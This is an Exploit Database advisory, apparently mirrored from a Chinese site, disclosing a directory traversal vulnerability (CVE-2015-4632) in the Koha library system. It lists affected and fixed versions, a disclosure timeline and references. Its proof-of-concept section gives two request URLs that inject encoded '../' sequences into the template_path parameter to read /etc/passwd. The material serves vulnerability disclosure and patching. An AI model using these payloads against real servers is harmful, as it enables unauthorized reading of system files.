Koha 3.20.1 – Directory Traversal

• Exploit Database
• 100 阅读

• 作者： Raschin Tavakoli, Bernhard Garn, Peter Aufner & Dimitris Simos
  日期： 2015-06-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37388/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74

  # Exploit Title: Koha Open Source ILS - Path Traversal in STAFF client # Google Dork: # Date: 25/06/2015 # Exploit Author: Raschin Tavakoli, Bernhard Garn, Peter Aufner and Dimitris Simos - Combinatorial Security Testing Group of SBA Research (cst@sba-research.org) # Vendor Homepage: koha-community.org # Software Link: https://github.com/Koha-Community/Koha # Version: 3.20.x <= 3.20.1, 3.18.x <= 3.18.8, 3.16.x <= 3.16.12 # Tested on: Debian Linux # CVE : CVE-2015-4632       ### CVE-2015-4632 ###   #### Titel: #### Directory traversal   #### Type of vulnerability: #### File Path Traversal   ##### Exploitation vector: Injecting into the "template_path" parmeter in /cgi-bin/koha/svc/members/search and /cgi-bin/koha/svc/members/search   ##### Attack outcome: Read access to arbitrary files on the system   #### Impact: #### {low,medium,high,critical} high   #### Software/Product name: #### Koha   #### Affected versions: #### * <= Koha 3.20.1 * <= Koha 3.18.8 * <= Koha 3.16.12   #### Fixed in version: #### * version 3.20.1 http://koha-community.org/security-release-koha-3-20-1/, * version 3.18.8 http://koha-community.org/security-release-koha-3-18-8/, * version 3.16.12 http://koha-community.org/security-release-koha-3-16-12/   #### Vendor: #### http://koha-community.org/ (Open Source)   #### CVE number: #### CVE-2015-4632   #### Timeline #### * <code>2015-06-18</code> identification of vulnerability * <code>2015-06-18</code> 1st contact to release maintainer, immediate reply * <code>2015-06-23</code> new release with fixed vulnerabilities   #### Credits: #### RGhanad-Tavakoli@sba-research.org --- Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research. Contact: cst@sba-research.org   #### References: http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408 http://koha-community.org/security-release-koha-3-20-1/ http://koha-community.org/security-release-koha-3-18-8/ http://koha-community.org/security-release-koha-3-16-12/   #### Description: #### Multiple directory traversal vulnerabilities allow remote attackers to read arbitrary files via a .. (dot dot) in (1) /cgi-bin/koha/svc/virtualshelves/search and (2) in /cgi-bin/koha/svc/members/search   #### Proof-of-concept: #### /cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd   /cgi-bin/koha/svc/members/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd